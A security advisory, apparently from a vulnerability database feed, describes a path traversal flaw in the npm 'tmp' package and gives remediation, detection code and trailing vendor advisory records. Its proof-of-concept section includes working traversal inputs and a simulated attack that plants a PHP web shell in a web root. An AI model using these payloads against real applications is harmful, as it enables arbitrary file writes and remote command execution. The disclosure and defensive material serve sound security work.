Summary\n\nThe tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the `prefix`, `postfix`, or `dir` options. By embedding traversal sequences (e.g., `../`) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.\n\n### Details\n\n**Root Cause:**\nThe vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.\n\n**Technical Flow:**\n1. **Filename Construction:** tmp builds filenames as `\u003cprefix\u003e-\u003cpid\u003e-\u003crandom\u003e-\u003cpostfix\u003e`\n2. **Path Composition:** Final path computed as `path.join(tmpDir, opts.dir, name)`\n3. **Path Normalization:** Node.js `path.join()` normalizes traversal sequences, allowing escape\n4. **File Creation:** File created at the resulting (potentially escaped) path\n\n**Vulnerable Pattern:**\n```javascript\n// In tmp package internals\nconst name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`;\nconst finalPath = path.join(tmpDir, opts.dir || '', name);\n// No validation that finalPath remains within tmpDir\n```\n\n**Path Traversal Mechanics:**\n- **prefix/postfix traversal:** `../../../evil` in prefix escapes directory structure\n- **Absolute path bypass:** If `opts.dir` is absolute, `path.join()` ignores `tmpDir` completely\n- **Normalization exploitation:** `path.join()` resolves `../` sequences regardless of surrounding text\n- **Cross-platform impact:** Works on Windows (`..\\\\`), Unix (`../`), and mixed path systems\n\n**Key Vulnerability Points:**\n- No input validation on `prefix`, `postfix`, or `dir` parameters\n- Direct use of user input in path construction\n- Reliance on `path.join()` normalization without containment checks\n- Missing post-construction validation that final path remains within intended directory\n\n### PoC\n\n**Basic Path Traversal via prefix:**\n```javascript\nconst tmp = require('tmp');\nconst path = require('path');\nconst fs = require('fs');\n\n// Create a controlled base directory\nconst baseDir = fs.mkdtempSync('/tmp/safe-base-');\nconsole.log('Base directory:', baseDir);\n\n// Escape via prefix\ntmp.file({ \n  tmpdir: baseDir, \n  prefix: '../escaped' \n}, (err, filepath, fd, cleanup) =\u003e {\n  if (err) throw err;\n  \n  console.log('Created file:', filepath);\n  console.log('Relative to base:', path.relative(baseDir, filepath));\n  // Output shows: ../escaped-\u003cpid\u003e-\u003crandom\u003e\n  \n  cleanup();\n});\n```\n\n**Directory Escape via postfix:**\n```javascript\ntmp.file({ \n  tmpdir: baseDir, \n  postfix: '/../../pwned.txt' \n}, (err, filepath, fd, cleanup) =\u003e {\n  if (err) throw err;\n  \n  console.log('Escaped file:', filepath);\n  console.log('Escaped outside base:', !filepath.startsWith(baseDir));\n  \n  cleanup();\n});\n```\n\n**Absolute Path Bypass via dir:**\n```javascript\ntmp.file({ \n  tmpdir: '/safe/tmp/dir', \n  dir: '/tmp/evil-location',\n  prefix: 'bypassed'\n}, (err, filepath, fd, cleanup) =\u003e {\n  if (err) throw err;\n  \n  console.log('Bypassed to:', filepath);\n  // File created in /tmp/evil-location instead of /safe/tmp/dir\n  \n  cleanup();\n});\n```\n\n**Advanced Multi-Vector Attack:**\n```javascript\nconst maliciousOpts = {\n  tmpdir: '/app/safe-tmp',\n  dir: '../../../tmp',           // Escape base\n  prefix: '../sensitive-area/',   // Further traversal\n  postfix: 'malicious.config'     // Controlled filename\n};\n\ntmp.file(maliciousOpts, (err, filepath, fd, cleanup) =\u003e {\n  // Results in file creation at: /tmp/sensitive-area/malicious.config\n  console.log('Final malicious path:', filepath);\n  cleanup();\n});\n```\n\n**Real-World Attack Simulation:**\n```javascript\n// Simulate web API that accepts user file prefix\nfunction createUserTempFile(userPrefix, content) {\n  return new Promise((resolve, reject) =\u003e {\n    tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) =\u003e {\n      if (err) return reject(err);\n      \n      fs.writeSync(fd, content);\n      console.log('User file created at:', path);\n      resolve({ path, cleanup });\n    });\n  });\n}\n\n// Attacker input\nconst attackerPrefix = '../../../var/www/html/backdoor';\ncreateUserTempFile(attackerPrefix, '\u003c?php system($_GET[\"cmd\"]); ?\u003e');\n// Creates PHP backdoor in web root instead of temp directory\n```\n\n### Impact\n\n**Arbitrary File Creation:**\n- Files created outside intended temporary directories\n- Attacker control over file placement location\n- Potential to overwrite existing files (depending on creation flags)\n- Cross-platform exploitation capability\n\n**Attack Scenarios:**\n\n**1. Web Application Configuration Poisoning:**\n- User uploads file with malicious prefix/postfix\n- tmp creates \"temporary\" file in application configuration directory\n- Malicious configuration loaded on next application restart\n\n**2. Cache Poisoning:**\n- Application caches user content using tmp\n- Attacker escapes to cache directory of different user/tenant\n- Poisoned cache serves malicious content to other users\n\n**3. Build Pipeline Compromise:**\n- CI/CD system processes user PRs with tmp usage\n- Malicious prefix escapes to build output directories\n- Compromised build artifacts deployed to production\n\n**4. Container Escape Attempt:**\n- Containerized application uses tmp with user input\n- Attacker attempts to escape container temp restrictions\n- Files created in host-mapped volumes or sensitive container areas\n\n**5. Multi-Tenant Service Bypass:**\n- SaaS platform isolates tenants using separate tmp directories\n- Tenant A escapes their tmp space to tenant B's area\n- Cross-tenant data access and potential privilege escalation\n\n**Business Impact:**\n- **Data Integrity:** Unauthorized file placement can corrupt application state\n- **Service Disruption:** Files in wrong locations may break application functionality  \n- **Security Bypass:** Escape temporary isolation boundaries\n- **Compliance Violations:** Files containing sensitive data placed in uncontrolled locations\n\n### Affected Products\n\n- **Ecosystem:** npm\n- **Package name:** tmp\n- **Repository:** github.com/raszi/node-tmp\n- **Affected versions:** All versions with vulnerable path construction logic\n- **Patched versions:** None currently available\n\n**Component Impact:**\n- `tmp.file()` function - vulnerable to prefix/postfix/dir traversal\n- `tmp.dir()` function - vulnerable to same parameter manipulation  \n- `tmp.tmpName()` function - if using affected path construction\n\n**Severity:** High  \n**CVSS v3.1:** 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)\n\n**CWE Classification:**\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)\n\n### Remediation\n\n**Input Validation and Sanitization:**\n\n1. **Sanitize prefix/postfix:**\n```javascript\nfunction sanitizePrefix(prefix) {\n  if (!prefix) return '';\n  // Remove path separators and traversal sequences\n  return path.basename(String(prefix)).replace(/[\\.\\/\\\\]/g, '-');\n}\n\nfunction sanitizePostfix(postfix) {\n  if (!postfix) return '';\n  // Allow only safe characters\n  return String(postfix).replace(/[^A-Za-z0-9._-]/g, '');\n}\n```\n\n2. **Validate dir parameter:**\n```javascript\nfunction validateDir(dir, baseDir) {\n  if (!dir) return '';\n  \n  // Reject absolute paths\n  if (path.isAbsolute(dir)) {\n    throw new Error('Absolute paths not allowed for dir option');\n  }\n  \n  // Resolve and check containment\n  const resolved = path.resolve(baseDir, dir);\n  const relative = path.relative(baseDir, resolved);\n  \n  if (relative.startsWith('..') || path.isAbsolute(relative)) {\n    throw new Error('Dir option escapes base directory');\n  }\n  \n  return dir;\n}\n```\n\n3. **Post-construction path validation:**\n```javascript\nfunction validateFinalPath(finalPath, baseDir) {\n  const resolved = path.resolve(finalPath);\n  const relative = path.relative(path.resolve(baseDir), resolved);\n  \n  if (relative.startsWith('..') || path.isAbsolute(relative)) {\n    throw new Error('Generated path escapes temporary directory');\n  }\n  \n  return resolved;\n}\n```\n\n**Secure Implementation Pattern:**\n```javascript\nfunction createTempFile(options) {\n  const opts = { ...options };\n  \n  // Sanitize inputs\n  opts.prefix = sanitizePrefix(opts.prefix);\n  opts.postfix = sanitizePostfix(opts.postfix);\n  opts.dir = validateDir(opts.dir, opts.tmpdir);\n  \n  // Create with sanitized options\n  return tmp.file(opts, (err, path, fd, cleanup) =\u003e {\n    if (err) return callback(err);\n    \n    // Validate final path\n    try {\n      validateFinalPath(path, opts.tmpdir);\n    } catch (validationErr) {\n      cleanup();\n      return callback(validationErr);\n    }\n    \n    callback(null, path, fd, cleanup);\n  });\n}\n```\n\n### Workarounds\n\n**For Application Developers:**\n\n1. **Input Sanitization:**\n```javascript\n// Sanitize before passing to tmp\nfunction safeTmpFile(userOptions) {\n  const safeOpts = {\n    ...userOptions,\n    prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined,\n    postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined,\n    dir: undefined // Don't allow user-controlled dir\n  };\n  \n  return tmp.file(safeOpts);\n}\n```\n\n2. **Path Validation:**\n```javascript\nfunction validateTmpPath(tmpPath, expectedBase) {\n  const relativePath = path.relative(expectedBase, tmpPath);\n  if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {\n    throw new Error('Temporary file path escaped base directory');\n  }\n  return tmpPath;\n}\n```\n\n3. **Restricted Usage:**\n```javascript\n// Only use tmp with known-safe, literal values\ntmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback);\n// Never: tmp.file({ prefix: userInput }, callback);\n```\n\n**For Security Teams:**\n\n1. **Code Review Patterns:**\n```bash\n# Search for dangerous tmp usage\ngrep -r \"tmp\\.file.*prefix.*req\\|tmp\\.file.*postfix.*req\" .\ngrep -r \"tmp\\.dir.*opts\\|tmp\\.file.*opts\" .\n```\n\n2. **Runtime Monitoring:**\n```javascript\n// Monitor for files created outside expected temp areas\nconst originalFile = tmp.file;\ntmp.file = function(options, callback) {\n  return originalFile(options, (err, path, fd, cleanup) =\u003e {\n    if (!err \u0026\u0026 options.tmpdir) {\n      const relative = require('path').relative(options.tmpdir, path);\n      if (relative.startsWith('..')) {\n        console.warn('Path traversal detected:', path);\n      }\n    }\n    return callback(err, path, fd, cleanup);\n  });\n};\n```\n\n### Detection and Monitoring\n\n**Static Analysis:**\n- Scan for tmp usage with user-controlled input\n- Identify unsanitized parameter passing to tmp functions\n- Review file creation patterns in temporary directories\n\n**Runtime Detection:**\n```javascript\n// Log suspicious tmp operations\nfunction monitorTmpUsage() {\n  const originalTmpFile = require('tmp').file;\n  \n  require('tmp').file = function(options = {}, callback) {\n    // Check for suspicious patterns\n    const suspicious = [\n      options.prefix \u0026\u0026 options.prefix.includes('..'),\n      options.postfix \u0026\u0026 options.postfix.includes('..'),  \n      options.dir \u0026\u0026 path.isAbsolute(options.dir)\n    ].some(Boolean);\n    \n    if (suspicious) {\n      console.warn('Suspicious tmp usage detected:', options);\n    }\n    \n    return originalTmpFile.call(this, options, callback);\n  };\n}\n```\n\n**File System Monitoring:**\n```bash\n# Monitor file creation outside expected temp directories\ninotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do\n  if [[ \"$event\" == *\"CREATE\"* \u0026\u0026 \"$file\" != /tmp/tmp-* ]]; then\n    echo \"Unexpected file creation: $file\"\n  fi\ndone\n```\n### Acknowledgements\n\n**Reported by**: Mapta / BugBunny_ai","status":"published","published":"2026-05-27T00:34:06Z","modified":"2026-09-10T03:51:06.611832826Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:53.244788Z"},{"id":"RHSA-2026:57590","title":"Red Hat Security Advisory: rh-podman-desktop security, bug fix, and enhancement update","status":"published","published":"2026-08-21T10:14:02Z","modified":"2026-10-20T10:11:37Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:53:21.457353Z"},{"id":"RHSA-2026:59135","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update","status":"published","published":"2026-08-25T10:23:11Z","modified":"2026-10-20T10:11:57Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:21.91255Z"},{"id":"RHSA-2026:59136","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update","status":"published","published":"2026-08-25T10:23:11Z","modified":"2026-10-20T10:11:57Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:21.91255Z"},{"id":"UBUNTU-CVE-2026-44705","description":"tmp is a temporary file and directory creator for node.js. Prior to 0.2.6, the tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. This vulnerability is fixed in 0.2.6.","status":"published","published":"2026-06-11T17:16:00Z","modified":"2026-10-17T12:58:21.311181904Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"},{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T16:56:26.396868Z"},{"id":"AZL-89765","title":"CVE-2026-44705 affecting package js-jquery 3.5.0-4","description":"tmp is a temporary file and directory creator for node.js. Prior to 0.2.6, the tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. This vulnerability is fixed in 0.2.6.","status":"published","published":"2026-06-11T17:16:33Z","modified":"2026-11-05T05:36:30Z","updated_at":"2026-11-05T16:41:25.633663Z"},{"id":"CLSA-2026-1775003186","title":"TuxCare security update for tmp (2 CVEs)","description":"TuxCare rebuilt tmp to address 2 CVEs. Fixed in 0.0.30-tuxcare.1.","status":"published","published":"2026-08-04T14:52:18Z","modified":"2026-10-15T09:47:49.031026817Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1785117460","title":"TuxCare security update for tmp (1 CVE)","description":"TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.0.24-tuxcare.3.","status":"published","published":"2026-08-04T14:52:49Z","modified":"2026-10-15T09:47:37.23715105Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1785117462","title":"TuxCare security update for tmp (1 CVE)","description":"TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.0.28-tuxcare.3.","status":"published","published":"2026-08-04T14:52:49Z","modified":"2026-10-15T09:47:36.932662536Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1785204337","title":"TuxCare security update for tmp (1 CVE)","description":"TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.0.31-tuxcare.2.","status":"published","published":"2026-08-04T14:52:49Z","modified":"2026-10-15T09:47:37.377522863Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1785204339","title":"TuxCare security update for tmp (1 CVE)","description":"TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.2.3-tuxcare.2.","status":"published","published":"2026-08-04T14:52:49Z","modified":"2026-10-15T09:48:03.788825214Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1785204340","title":"TuxCare security update for tmp (1 CVE)","description":"TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.1.0-tuxcare.3.","status":"published","published":"2026-08-04T14:52:49Z","modified":"2026-10-15T09:48:03.878853139Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1785204341","title":"TuxCare security update for tmp (1 CVE)","description":"TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.2.1-tuxcare.4.","status":"published","published":"2026-08-04T14:52:49Z","modified":"2026-10-15T09:48:03.791395441Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1792777608","title":"TuxCare security update for tmp (1 CVE)","description":"TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.0.29-tuxcare.2.","status":"published","published":"2026-10-23T17:46:48Z","modified":"2026-10-23T19:15:10.730369677Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1793207018","title":"TuxCare security update for tmp (2 CVEs)","description":"TuxCare rebuilt tmp to address 2 CVEs. Fixed in 0.2.5-tuxcare.1.","status":"published","published":"2026-10-28T17:03:38Z","modified":"2026-10-28T19:45:12.949835239Z","updated_at":"2026-11-02T15:43:55.669514Z"},{"id":"CLSA-2026-1793209315","title":"TuxCare security update for tmp (2 CVEs)","description":"TuxCare rebuilt tmp to address 2 CVEs. Fixed in 0.2.4-tuxcare.1.","status":"published","published":"2026-10-28T17:41:54Z","modified":"2026-10-28T19:45:12.955205585Z","updated_at":"2026-11-02T15:43:55.669514Z"},{"id":"ROOT-APP-NPM-CVE-2026-44705","title":"CVE-2026-44705 in tmp - Patched by Root","description":"Root has patched CVE-2026-44705 in the tmp package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-08-21T11:23:28Z","modified":"2026-08-21T13:45:05.911483614Z","updated_at":"2026-11-02T15:53:27.649662Z"}]}}